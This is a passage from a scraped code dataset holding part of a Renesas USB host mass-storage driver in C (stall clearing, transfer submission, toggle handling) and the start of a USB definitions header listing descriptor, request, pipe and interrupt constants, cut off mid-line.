usb_hmsc_GetMaxUnitCheck(USB_UTR_t *ptr, uint16_t err)\n{\n if( err == (uint16_t)USB_DATA_STALL ) \n {\n USB_PRINTF0(\"*** GetMaxUnit not support !\\n\");\n return USB_ERROR;\n } \n else if( err == (uint16_t)USB_DATA_TMO ) \n {\n USB_PRINTF0(\"*** GetMaxUnit not support(time out) !\\n\");\n usb_hmsc_ControlEnd(ptr, (uint16_t)USB_DATA_TMO);\n return USB_ERROR;\n } \n else if( err != (uint16_t)USB_CTRL_END ) \n {\n USB_PRINTF1(\n \"### [GetMaxUnit] control transfer error(%d) !\\n\", err);\n return USB_ERROR;\n } \n else \n {\n }\n return (usb_ghmsc_Data[ptr->ip][0]);\n} /* eof usb_hmsc_GetMaxUnitCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_MassStorageResetCheck\nDescription : Check Mass Strage Reset request\nArgument : uint16_t err : Error Code\nReturn value : USB_ER_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_MassStorageResetCheck(USB_UTR_t *ptr, uint16_t err)\n{\n if( err == (uint16_t)USB_DATA_STALL ) \n {\n USB_PRINTF0(\"*** MassStorageReset not support !\\n\");\n return USB_ERROR;\n } \n else if( err == (uint16_t)USB_DATA_TMO ) \n {\n USB_PRINTF0(\"*** MassStorageReset not support(time out) !\\n\");\n usb_hmsc_ControlEnd(ptr, (uint16_t)USB_DATA_TMO);\n return USB_ERROR;\n } \n else if( err != (uint16_t)USB_CTRL_END ) \n {\n USB_PRINTF1(\"### [MassStorageReset] control transfer error(%d) !\\n\", err);\n return USB_ERROR;\n } \n else \n {\n }\n return USB_DONE;\n} /* eof usb_hmsc_MassStorageResetCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_ClearStall\nDescription : Clear Stall\nArguments : uint16_t Pipe : \n : USB_CB_t complete : \nReturn value : uint16_t\n******************************************************************************/\nUSB_ER_t usb_hmsc_ClearStall(USB_UTR_t *ptr, uint16_t Pipe, USB_CB_t complete)\n{\n USB_ER_t err;\n\n err = R_usb_hstd_ChangeDeviceState(ptr, (USB_CB_t)complete, USB_DO_CLR_STALL, Pipe);\n return err;\n} /* eof usb_hmsc_ClearStall() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_ClearStallCheck\nDescription : Clear Stall Check\nArguments : uint16_t errcheck : \nReturn value : uint16_t\n******************************************************************************/\nvoid usb_hmsc_ClearStallCheck(USB_UTR_t *ptr, uint16_t errcheck)\n{\n uint16_t retval;\n\n retval = usb_hmsc_StdReqCheck(errcheck);\n if( retval == USB_DONE )\n {\n /* Clear STALL */\n usb_cstd_ClrStall(ptr, (uint16_t)USB_PIPE0 );\n\n /* SQCLR */\n R_usb_hstd_ChangeDeviceState(ptr, (USB_CB_t)&usb_cstd_DummyFunction, USB_DO_CLR_SQTGL, (uint16_t)USB_PIPE0 );\n }\n} /* eof usb_hmsc_ClearStallCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_ClearStallCheck2\nDescription : Clear Stall Check 2\nArguments : USB_UTR_t *mess : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_ClearStallCheck2(USB_UTR_t *mess)\n{\n uint16_t errcheck;\n\n errcheck = mess->status;\n usb_hmsc_ClearStallCheck(mess, errcheck);\n\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n} /* eof usb_hmsc_ClearStallCheck2() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_Submitutr\nDescription : Data transfer request\nArgument : uint16_t type : Data Transmit/Data Receive\n : USB_UTR_t *utr_table : Information Table\nReturn value : USB_ER_t : Error Code\n******************************************************************************/\nUSB_ER_t usb_hmsc_Submitutr(USB_UTR_t *ptr, uint16_t type, USB_UTR_t *utr_table)\n{\n uint16_t msgnum, pipeno, offset2;\n USB_ER_t err;\n\n usb_shmsc_MsgNum[ptr->ip] = utr_table->keyword;\n\n switch( type ) \n {\n case USB_CTRL_END: /* Control transfer */\n break;\n case USB_DATA_NONE: /* Data transmit */\n msgnum = utr_table->keyword;\n offset2 = usb_ghmsc_OutPipe[ptr->ip][msgnum][0];\n if( USB_NOPORT == offset2 )\n {\n USB_PRINTF3(\"### USB_NOPORT error IP[%d] MSGNUM[%d] OFFSET[%x]\\n\", ptr->ip, msgnum, offset2 );\n return USB_ERROR;\n }\n pipeno = R_usb_hmsc_Information(ptr->ip, offset2);\n if( USB_PIPE5 < pipeno )\n {\n USB_PRINTF1(\"### PIPE No. error[%d]\\n\", pipeno);\n return USB_ERROR;\n }\n utr_table->keyword = pipeno;\n R_usb_hstd_SetPipeInfo((uint16_t*)&usb_ghmsc_DefEpTbl[0], (uint16_t*)&usb_ghmsc_PipeTable[ptr->ip][offset2], \n (uint16_t)USB_EPL);\n err = R_usb_hstd_SetPipeRegistration(ptr, (uint16_t*)&usb_ghmsc_DefEpTbl, pipeno);\n break;\n case USB_DATA_OK: /* Data recieve */\n msgnum = utr_table->keyword;\n offset2 = usb_ghmsc_InPipe[ptr->ip][msgnum][0];\n if( USB_NOPORT == offset2 )\n {\n USB_PRINTF3(\"### USB_NOPORT error IP[%d] MSGNUM[%d] OFFSET[%x]\\n\", ptr->ip, msgnum, offset2 );\n return USB_ERROR;\n }\n pipeno = R_usb_hmsc_Information(ptr->ip, offset2);\n if( USB_PIPE5 < pipeno )\n {\n USB_PRINTF1(\"### PIPE No. error[%d]\\n\", pipeno);\n return USB_ERROR;\n }\n utr_table->keyword = pipeno;\n R_usb_hstd_SetPipeInfo((uint16_t*)&usb_ghmsc_DefEpTbl[0], (uint16_t*)&usb_ghmsc_PipeTable[ptr->ip][offset2], \n (uint16_t)USB_EPL);\n err = R_usb_hstd_SetPipeRegistration(ptr, (uint16_t*)&usb_ghmsc_DefEpTbl, pipeno);\n break;\n default:\n break;\n }\n return err;\n} /* eof usb_hmsc_Submitutr() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SubmitutrReq\nDescription : Data transfer request\nArgument : uint16_t type : Data Transmit/Data Receive\n : USB_UTR_t *utr_table : Information Table\nReturn value : USB_ER_t : Error Code\n******************************************************************************/\nUSB_ER_t usb_hmsc_SubmitutrReq(USB_UTR_t *ptr, uint16_t type, USB_UTR_t *utr_table)\n{\n uint16_t msgnum, pipeno;\n uint16_t toggle;\n USB_ER_t err;\n\n msgnum = usb_shmsc_MsgNum[ptr->ip];\n\n utr_table->ip = ptr->ip;\n utr_table->ipp = ptr->ipp;\n\n switch( type ) \n {\n case USB_CTRL_END: /* Control transfer */\n err = R_usb_hstd_TransferStart(utr_table);\n break;\n case USB_DATA_NONE: /* Data transmit */\n pipeno = utr_table->keyword;\n\n if( (USB_SQMON & usb_ghmsc_OutPipe[ptr->ip][msgnum][1]) == USB_SQMON )\n {\n toggle = USB_SQ_DATA1;\n }\n else\n {\n toggle = USB_SQ_DATA0;\n }\n usb_hmsc_DoSqtgl(utr_table, pipeno, toggle);\n err = R_usb_hstd_TransferStart(utr_table);\n break;\n case USB_DATA_OK: /* Data recieve */\n pipeno = utr_table->keyword;\n\n if( (USB_SQMON & usb_ghmsc_InPipe[ptr->ip][msgnum][1]) == USB_SQMON )\n {\n toggle = USB_SQ_DATA1;\n }\n else\n {\n toggle = USB_SQ_DATA0;\n }\n usb_hmsc_DoSqtgl(utr_table, pipeno, toggle);\n err = R_usb_hstd_TransferStart(utr_table);\n break;\n default:\n USB_PRINTF0(\"### submit error\\n\");\n err = USB_HMSC_SUBMIT_ERR;\n break;\n }\n return err;\n} /* eof usb_hmsc_SubmitutrReq() */\n\n\n/******************************************************************************\nFunction Name : usb_hmsc_DoSqtgl\nDescription : Set SQSET bit or SQCLR bit for Pipe control regstor(PIPEnCTR).\nArgument : USB_UTR_t *ptr : The app's USB Comm. Structure.\n : uint16_t Pipe : Pipe No.\n : uint16_t toggle : Sequence Toggle bit(DATA0/DATA1)\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_DoSqtgl(USB_UTR_t *ptr, uint16_t Pipe, uint16_t toggle)\n{\n uint16_t msginfo;\n\n if( toggle == USB_SQ_DATA1 )\n {\n msginfo = USB_DO_SET_SQTGL;\n }\n else\n {\n msginfo = USB_DO_CLR_SQTGL;\n }\n\n R_usb_hstd_ChangeDeviceState(ptr, (USB_CB_t)&usb_cstd_DummyFunction, msginfo, Pipe);\n} /* eof usb_hmsc_DoSqtgl() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_ControlEnd\nDescription : Control end function\nArgument : uint16_t sts : Status\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_ControlEnd(USB_UTR_t *ptr, uint16_t sts)\n{\n R_usb_hstd_TransferEnd(ptr, USB_PIPE0, sts);\n} /* eof usb_hmsc_ControlEnd() */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n\n" }, { "alpha_fraction": 0.44195449352264404, "alphanum_fraction": 0.4935387670993805, "avg_line_length": 50.34463882446289, "blob_id": "4a309199bc8b4bc97982190267e4eb65b24ab455", "content_id": "2ff67ce205a96287dd2ed36aa985ec337a6b0978", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 37841, "license_type": "no_license", "max_line_length": 120, "num_lines": 737, "path": "/r_usb_basic/src/driver/inc/r_usb_cdefusbip.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cdefusbip.h\n* Description : USB definition for IP\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n#ifndef __R_USB_CDEFUSBIP_H__\n#define __R_USB_CDEFUSBIP_H__\n\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n\n/******************************************************************************\nUSB specification define\n******************************************************************************/\n\n/* Standard Device Descriptor Define */\n#define USB_DEV_B_LENGTH 0u /* Size of descriptor */\n#define USB_DEV_B_DESCRIPTOR_TYPE 1u /* Descriptor type */\n#define USB_DEV_BCD_USB_L 2u /* USB Specification Release Number */\n#define USB_DEV_BCD_USB_H 3u /* USB Specification Release Number */\n#define USB_DEV_B_DEVICE_CLASS 4u /* Class code */\n#define USB_DEV_B_DEVICE_SUBCLASS 5u /* Subclass code */\n#define USB_DEV_B_DEVICE_PROTOCOL 6u /* Protocol code */\n#define USB_DEV_B_MAX_PACKET_SIZE_0 7u /* Max packet size for EP0(only 8,16,32,64 are valid) */\n#define USB_DEV_ID_VENDOR_L 8u /* Vendor ID */\n#define USB_DEV_ID_VENDOR_H 9u /* Vendor ID */\n#define USB_DEV_ID_PRODUCT_L 10u /* Product ID */\n#define USB_DEV_ID_PRODUCT_H 11u /* Product ID */\n#define USB_DEV_BCD_DEVICE_L 12u /* Device relese number */\n#define USB_DEV_BCD_DEVICE_H 13u /* Device relese number */\n#define USB_DEV_I_MANUFACTURER 14u /* Index of string descriptor describing manufacturer */\n#define USB_DEV_I_PRODUCT 15u /* Index of string descriptor describing product */\n#define USB_DEV_I_SERIAL_NUMBER 16u /* Device serial number */\n#define USB_DEV_B_NUM_CONFIGURATION 17u /* Number of possible configuration */\n\n/* Standard Configuration Descriptor Define */\n//#define USB_DEV_B_LENGTH 0u /* Size of descriptor */\n//#define USB_DEV_B_DESCRIPTOR_TYPE 1u /* Descriptor type */\n#define USB_DEV_W_TOTAL_LENGTH_L 2 /* Total length of data returned for this configuration */\n#define USB_DEV_W_TOTAL_LENGTH_H 3 /* Total length of data returned for this configuration */\n#define USB_DEV_B_NUM_INTERFACES 4 /* Number of interfaces supported by this configuration */\n#define USB_DEV_B_CONFIGURATION_VALUE 5 /* Configuration value */\n#define USB_DEV_I_CONFIGURATION 6 /* Index of string descriptor describing this configuration */\n#define USB_DEV_BM_ATTRIBUTES 7 /* Configuration characteristics */\n#define USB_DEV_B_MAX_POWER 8 /* Max power consumption of the USB device from the bus */\n\n/* Descriptor type Define */\n#define USB_DT_DEVICE 0x01u /* Configuration Descriptor */\n#define USB_DT_CONFIGURATION 0x02u /* Configuration Descriptor */\n#define USB_DT_STRING 0x03u /* Configuration Descriptor */\n#define USB_DT_INTERFACE 0x04u /* Interface Descriptor */\n#define USB_DT_ENDPOINT 0x05u /* Endpoint Descriptor */\n#define USB_DT_DEVICE_QUALIFIER 0x06u /* Device Qualifier Descriptor */\n#define USB_DT_OTHER_SPEED_CONF 0x07u /* Other Speed Configuration Descriptor */\n#define USB_DT_INTERFACE_POWER 0x08u /* Interface Power Descriptor */\n#define USB_DT_OTGDESCRIPTOR 0x09u /* OTG Descriptor */\n#define USB_DT_HUBDESCRIPTOR 0x29u /* HUB descriptor */\n\n/* Device class Define */\n#define USB_DEVCLS_INTF 0x00u /* Class information at interface */\n#define USB_DEVCLS_COMM 0x02u /* Communication Device */\n#define USB_DEVCLS_HUB 0x90u /* HUB Device */\n#define USB_DEVCLS_DIAG 0xDCu /* Diagnostic Device */\n#define USB_DEVCLS_WIRE 0xE0u /* Wireless Controller */\n#define USB_DEVCLS_APL 0xFEu /* Application-Specific */\n#define USB_DEVCLS_VEN 0xFFu /* Vendor-Specific */\n\n/* Interface class Define */\n#define USB_IFCLS_NOT 0x00u /* Un corresponding Class */\n#define USB_IFCLS_AUD 0x01u /* Audio Class */\n#define USB_IFCLS_CDC 0x02u /* CDC Class */\n#define USB_IFCLS_CDCC 0x02u /* CDC-Control Class */\n#define USB_IFCLS_HID 0x03u /* HID Class */\n#define USB_IFCLS_PHY 0x05u /* Physical Class */\n#define USB_IFCLS_IMG 0x06u /* Image Class */\n#define USB_IFCLS_PRN 0x07u /* Printer Class */\n#define USB_IFCLS_MAS 0x08u /* Mass Storage Class */\n#define USB_IFCLS_HUB 0x09u /* HUB Class */\n#define USB_IFCLS_CDCD 0x0Au /* CDC-Data Class */\n#define USB_IFCLS_CHIP 0x0Bu /* Chip/Smart Card Class */\n#define USB_IFCLS_CNT 0x0Cu /* Content-Security Class */\n#define USB_IFCLS_VID 0x0Du /* Video Class */\n#define USB_IFCLS_DIAG 0xDCu /* Diagnostic Device */\n#define USB_IFCLS_WIRE 0xE0u /* Wireless Controller */\n#define USB_IFCLS_APL 0xFEu /* Application-Specific */\n#define USB_IFCLS_VEN 0xFFu /* Vendor-Specific Class */\n\n/* Endpoint Descriptor Define */\n#define USB_EP_DIRMASK 0x80u /* Endpoint direction mask [2] */\n#define USB_EP_IN 0x80u /* In Endpoint */\n#define USB_EP_OUT 0x00u /* Out Endpoint */\n#define USB_EP_NUMMASK 0x0Fu /* Endpoint number mask [2] */\n#define USB_EP_USGMASK 0x30u /* Usage type mask [2] */\n#define USB_EP_SYNCMASK 0x0Cu /* Synchronization type mask [2] */\n#define USB_EP_TRNSMASK 0x03u /* Transfer type mask [2] */\n#define USB_EP_CNTRL 0x00u /* Control Transfer */\n#define USB_EP_ISO 0x01u /* Isochronous Transfer */\n#define USB_EP_BULK 0x02u /* Bulk Transfer */\n#define USB_EP_INT 0x03u /* Interrupt Transfer */\n\n/* Configuration descriptor bit define */\n#define USB_CF_RESERVED 0x80u /* Reserved(set to 1) */\n#define USB_CF_SELFP 0x40u /* Self Powered */\n#define USB_CF_BUSP 0x00u /* Bus Powered */\n#define USB_CF_RWUPON 0x20u /* Remote Wakeup ON */\n#define USB_CF_RWUPOFF 0x00u /* Remote Wakeup OFF */\n\n/* OTG descriptor bit define */\n#define USB_OTG_HNP 0x02u /* HNP support */\n\n/* SRP support */\n#define USB_OTG_SRP 0x01u\n\n/* USB Standard request */\n/* USB_BREQUEST 0xFF00u(b15-8) */\n#define USB_GET_STATUS 0x0000u\n#define USB_CLEAR_FEATURE 0x0100u\n#define USB_REQRESERVED 0x0200u\n#define USB_SET_FEATURE 0x0300u\n#define USB_REQRESERVED1 0x0400u\n#define USB_SET_ADDRESS 0x0500u\n#define USB_GET_DESCRIPTOR 0x0600u\n#define USB_SET_DESCRIPTOR 0x0700u\n#define USB_GET_CONFIGURATION 0x0800u\n#define USB_SET_CONFIGURATION 0x0900u\n#define USB_GET_INTERFACE 0x0A00u\n#define USB_SET_INTERFACE 0x0B00u\n#define USB_SYNCH_FRAME 0x0C00u\n\n/* USB_BMREQUESTTYPEDIR 0x0080u(b7) */\n#define USB_HOST_TO_DEV 0x0000u\n#define USB_DEV_TO_HOST 0x0080u\n\n/* USB_BMREQUESTTYPETYPE 0x0060u(b6-5) */\n#define USB_STANDARD 0x0000u\n#define USB_CLASS 0x0020u\n#define USB_VENDOR 0x0040u\n\n/* USB_BMREQUESTTYPERECIP 0x001Fu(b4-0) */\n#define USB_DEVICE 0x0000u\n#define USB_INTERFACE 0x0001u\n#define USB_ENDPOINT 0x0002u\n#define USB_OTHER 0x0003u\n\n/* GET_STATUS request information */\n/* Standard Device status */\n#define USB_GS_BUSPOWERD 0x0000u\n#define USB_GS_SELFPOWERD 0x0001u\n#define USB_GS_REMOTEWAKEUP 0x0002u\n\n/* Endpoint status */\n#define USB_GS_NOTHALT 0x0000u\n#define USB_GS_HALT 0x0001u\n\n/* CLEAR_FEATURE/GET_FEATURE/SET_FEATURE request information */\n/* Standard Feature Selector */\n#define USB_ENDPOINT_HALT 0x0000u\n#define USB_DEV_REMOTE_WAKEUP 0x0001u\n#define USB_TEST_MODE 0x0002u\n\n/* GET_DESCRIPTOR/SET_DESCRIPTOR request information */\n/* Standard Descriptor type */\n#define USB_HUB_DESCRIPTOR 0x0000u\n#define USB_DEV_DESCRIPTOR 0x0100u\n#define USB_CONF_DESCRIPTOR 0x0200u\n#define USB_STRING_DESCRIPTOR 0x0300u\n#define USB_INTERFACE_DESCRIPTOR 0x0400u\n#define USB_ENDPOINT_DESCRIPTOR 0x0500u\n#define USB_DEV_QUALIFIER_DESCRIPTOR 0x0600u\n#define USB_OTHER_SPEED_CONF_DESCRIPTOR 0x0700u\n#define USB_INTERFACE_POWER_DESCRIPTOR 0x0800u\n\n/* HUB CLASS REQUEST */\n#define USB_HUB_CLEAR_TT_BUFFER 0x0800u\n#define USB_HUB_RESET_TT 0x0900u\n#define USB_HUB_GET_TT_STATE 0x0A00u\n#define USB_HUB_STOP_TT 0x0B00u\n\n/* HUB CLASS FEATURE SELECTER */\n#define USB_HUB_C_HUB_LOCAL_POWER 0x0000u\n#define USB_HUB_C_HUB_OVER_CURRENT 0x0001u\n#define USB_HUB_PORT_CONNECTION 0x0000u\n#define USB_HUB_PORT_ENABLE 0x0001u\n#define USB_HUB_PORT_SUSPEND 0x0002u\n#define USB_HUB_PORT_OVER_CURRENT 0x0003u\n#define USB_HUB_PORT_RESET 0x0004u\n#define USB_HUB_PORT_POWER 0x0008u\n#define USB_HUB_PORT_LOW_SPEED 0x0009u\n#define USB_HUB_PORT_HIGH_SPEED 0x000Au\n#define USB_HUB_C_PORT_CONNECTION 0x0010u\n#define USB_HUB_C_PORT_ENABLE 0x0011u\n#define USB_HUB_C_PORT_SUSPEND 0x0012u\n#define USB_HUB_C_PORT_OVER_CURRENT 0x0013u\n#define USB_HUB_C_PORT_RESET 0x0014u\n#define USB_HUB_PORT_TEST 0x0015u\n#define USB_HUB_PORT_INDICATOR 0x0016u\n\n/* HUB PORT STAUS */\n#define USB_HUB_STS_PORT_CONNECT 0x0001u\n#define USB_HUB_STS_PORT_ENABLE 0x0002u\n#define USB_HUB_STS_PORT_SUSPEND 0x0004u\n#define USB_HUB_STS_PORT_OVRCURRNET 0x0008u\n#define USB_HUB_STS_PORT_RESET 0x0010u\n#define USB_HUB_STS_PORT_POWER 0x0100u\n#define USB_HUB_STS_PORT_LOWSPEED 0x0200u\n#define USB_HUB_STS_PORT_FULLSPEED 0x0000u\n#define USB_HUB_STS_PORT_HIGHSPEED 0x0400u\n#define USB_HUB_STS_PORT_TEST 0x0800u\n#define USB_HUB_STS_PORT_INDICATOR 0x1000u\n\n/* HUB PORT CHANGE */\n#define USB_HUB_CHG_PORT_CONNECT 0x0001u\n#define USB_HUB_CHG_PORT_ENABLE 0x0002u\n#define USB_HUB_CHG_PORT_SUSPEND 0x0004u\n#define USB_HUB_CHG_PORT_OVRCURRNET 0x0008u\n#define USB_HUB_CHG_PORT_RESET 0x0010u\n\n\n/******************************************************************************\nUSB-H/W register define\n******************************************************************************/\n\n/* Root port */\n#define USB_PORT0 0u\n#define USB_PORT1 1u\n\n/* Device connect information */\n#define USB_ATTACH 0x0040u\n#define USB_ATTACHL 0x0041u\n#define USB_ATTACHF 0x0042u\n#define USB_DETACH 0x0043u\n\n/* Reset Handshake result */\n#define USB_NOCONNECT 0x0000u /* Speed undecidedness */\n#define USB_HSCONNECT 0x00C0u /* Hi-Speed connect */\n#define USB_FSCONNECT 0x0080u /* Full-Speed connect */\n#define USB_LSCONNECT 0x0040u /* Low-Speed connect */\n\n/* Pipe define */\n#define USB_USEPIPE 0x00FEu\n#define USB_PERIPIPE 0x00FDu\n#define USB_CLRPIPE 0x00FCu /* Clear Pipe registration */\n#define USB_PIPE0 0x0000u /* PIPE 0 */\n#define USB_PIPE1 0x0001u /* PIPE 1 */\n#define USB_PIPE2 0x0002u /* PIPE 2 */\n#define USB_PIPE3 0x0003u /* PIPE 3 */\n#define USB_PIPE4 0x0004u /* PIPE 4 */\n#define USB_PIPE5 0x0005u /* PIPE 5 */\n#define USB_PIPE6 0x0006u /* PIPE 6 */\n#define USB_PIPE7 0x0007u /* PIPE 7 */\n#define USB_PIPE8 0x0008u /* PIPE 8 */\n#define USB_PIPE9 0x0009u /* PIPE 9 */\n#define USB_MAX_PIPE_NO 9u /* PIPE0 ... PIPE9 */\n\n/* Pipe configuration table define */\n#define USB_EPL 6u /* Pipe configuration table length */\n#define USB_TYPFIELD 0xC000u /* Transfer type */\n#define USB_PERIODIC 0x8000u /* Periodic pipe */\n#define USB_ISO 0xC000u /* Isochronous */\n#define USB_INT 0x8000u /* Interrupt */\n#define USB_BULK 0x4000u /* Bulk */\n#define USB_NOUSE 0x0000u /* Not configuration */\n#define USB_BFREFIELD 0x0400u /* Buffer ready interrupt mode select */\n#define USB_BFREON 0x0400u\n#define USB_BFREOFF 0x0000u\n#define USB_DBLBFIELD 0x0200u /* Double buffer mode select */\n#define USB_DBLBON 0x0200u\n#define USB_DBLBOFF 0x0000u\n#define USB_CNTMDFIELD 0x0100u /* Continuous transfer mode select */\n#define USB_CNTMDON 0x0100u\n#define USB_CNTMDOFF 0x0000u\n#define USB_SHTNAKFIELD 0x0080u /* Transfer end NAK */\n#define USB_SHTNAKON 0x0080u\n#define USB_SHTNAKOFF 0x0000u\n#define USB_DIRFIELD 0x0010u /* Transfer direction select */\n#define USB_DIR_H_OUT 0x0010u /* HOST OUT */\n#define USB_DIR_P_IN 0x0010u /* PERI IN */\n#define USB_DIR_H_IN 0x0000u /* HOST IN */\n#define USB_DIR_P_OUT 0x0000u /* PERI OUT */\n#define USB_BUF2FIFO 0x0010u /* Buffer --> FIFO */\n#define USB_FIFO2BUF 0x0000u /* FIFO --> buffer */\n#define USB_EPNUMFIELD 0x000Fu /* Endpoint number select */\n#define USB_MAX_EP_NO 15u /* EP0 EP1 ... EP15 */\n#define USB_EP0 0x0000u\n#define USB_EP1 0x0001u\n#define USB_EP2 0x0002u\n#define USB_EP3 0x0003u\n#define USB_EP4 0x0004u\n#define USB_EP5 0x0005u\n#define USB_EP6 0x0006u\n#define USB_EP7 0x0007u\n#define USB_EP8 0x0008u\n#define USB_EP9 0x0009u\n#define USB_EP10 0x000Au\n#define USB_EP11 0x000Bu\n#define USB_EP12 0x000Cu\n#define USB_EP13 0x000Du\n#define USB_EP14 0x000Eu\n#define USB_EP15 0x000Fu\n\n#define USB_BUF_SIZE(x) ((uint16_t)(((x) / 64u) - 1u) << 10u)\n#define USB_BUF_NUMB(x) (x)\n\n#define USB_IFISFIELD 0x1000u /* Isochronous in-buf flash mode */\n#define USB_IFISON 0x1000u\n#define USB_IFISOFF 0x0000u\n#define USB_IITVFIELD 0x0007u /* Isochronous interval */\n#define USB_IITV_TIME(x) (x)\n\n/* FIFO port & access define */\n#define USB_CUSE 0u /* CFIFO CPU trans */\n#define USB_D0USE 1u /* D0FIFO CPU trans */\n#define USB_D0DMA 2u /* D0FIFO DMA trans */\n#define USB_D1USE 3u /* D1FIFO CPU trans */\n#define USB_D1DMA 4u /* D1FIFO DMA trans */\n#define USB_CUSE2 5u /* CFIFO CPU trans (not trans count) */\n\n\n/******************************************************************************\nAnother define\n******************************************************************************/\n/* FIFO read / write result */\n#define USB_FIFOERROR USB_ERROR /* FIFO not ready */\n#define USB_WRITEEND 0x0000u /* End of write (but packet may not be outputting) */\n#define USB_WRITESHRT 0x0001u /* End of write (send short packet) */\n#define USB_WRITING 0x0002u /* Write continues */\n#define USB_READEND 0x0000u /* End of read */\n#define USB_READSHRT 0x0001u /* Insufficient (receive short packet) */\n#define USB_READING 0x0002u /* Read continues */\n#define USB_READOVER 0x0003u /* Buffer size over */\n\n/* Pipe define table end code */\n#define USB_PDTBLEND 0xFFFFu /* End of table */\n\n/* Transfer status Type */\n#define USB_CTRL_END 0u\n#define USB_DATA_NONE 1u\n#define USB_DATA_WAIT 2u\n#define USB_DATA_OK 3u\n#define USB_DATA_SHT 4u\n#define USB_DATA_OVR 5u\n#define USB_DATA_STALL 6u\n#define USB_DATA_ERR 7u\n#define USB_DATA_STOP 8u\n#define USB_DATA_TMO 9u\n#define USB_CTRL_READING 17u\n#define USB_CTRL_WRITING 18u\n#define USB_DATA_READING 19u\n#define USB_DATA_WRITING 20u\n\n/* Utr member (segment) */\n#define USB_TRAN_CONT 0x00u\n#define USB_TRAN_END 0x80u\n\n/* Callback argument */\n#define USB_NO_ARG 0u\n\n/* USB interrupt type (common)*/\n#define USB_INT_UNKNOWN 0x0000u\n#define USB_INT_BRDY 0x0001u\n#define USB_INT_BEMP 0x0002u\n#define USB_INT_NRDY 0x0003u\n\n/* USB interrupt type (PERI)*/\n#define USB_INT_VBINT 0x0011u\n#define USB_INT_RESM 0x0012u\n#define USB_INT_SOFR 0x0013u\n#define USB_INT_DVST 0x0014u\n#define USB_INT_CTRT 0x0015u\n#define USB_INT_ATTACH 0x0016u\n#define USB_INT_DETACH 0x0017u\n\n/* USB interrupt type (HOST)*/\n#define USB_INT_OVRCR0 0x0041u\n#define USB_INT_BCHG0 0x0042u\n#define USB_INT_DTCH0 0x0043u\n#define USB_INT_ATTCH0 0x0044u\n#define USB_INT_EOFERR0 0x0045u\n#define USB_INT_PDDETINT0 0x0046u\n#define USB_INT_OVRCR1 0x0051u\n#define USB_INT_BCHG1 0x0052u\n#define USB_INT_ATTCH1 0x0053u\n#define USB_INT_DTCH1 0x0054u\n#define USB_INT_EOFERR1 0x0055u\n#define USB_INT_SACK 0x0061u\n#define USB_INT_SIGN 0x0062u\n\n/******************************************************************************\nHCD driver specification define\n******************************************************************************/\n\n/******************************************************************************\nHCD driver common define\n******************************************************************************/\n/* Global macro Define */\n#define USB_UACTON (1u)\n#define USB_UACTOFF (0u)\n#define USB_VBON (0u)\n#define USB_VBOFF (1u)\n\n\n/******************************************************************************\nUSB specification define\n******************************************************************************/\n/* Device class Define */\n#define USB_NOVENDOR 0xFFFFu /* Vendor ID nocheck */\n#define USB_NOPRODUCT 0xFFFFu /* Product ID nocheck */\n\n/* Interface class Define */\n#define USB_INTFCLSHET 0xAAu /* Host electrical test class */\n\n/******************************************************************************\nUSB-H/W register define\n******************************************************************************/\n/* Root port */\n#define USB_NOPORT 0xFFFFu /* Not connect */\n\n/* Max device */\n#define USB_MAXPIPE_BULK 5\n#define USB_MAXPIPE_ISO 2\n#define USB_MAXPIPE_NUM 9\n\n /* Condition compilation by the difference of IP */\n#if USB_IP_DEVADD_PP == USB_IP_DEVADD_A_PP\n#define USB_MAXDEVADDR 10u\n#else /* USB_IP_DEVADD_PP = USB_IP_DEVADD_A_PP */\n#define USB_MAXDEVADDR 5u\n#endif /* USB_IP_DEVADD_PP = USB_IP_DEVADD_A_PP */\n\n#define USB_DEVICE_0 0x0000u /* Device address 0 */\n#define USB_DEVICE_1 0x1000u /* Device address 1 */\n#define USB_DEVICE_2 0x2000u /* Device address 2 */\n#define USB_DEVICE_3 0x3000u /* Device address 3 */\n#define USB_DEVICE_4 0x4000u /* Device address 4 */\n#define USB_DEVICE_5 0x5000u /* Device address 5 */\n#define 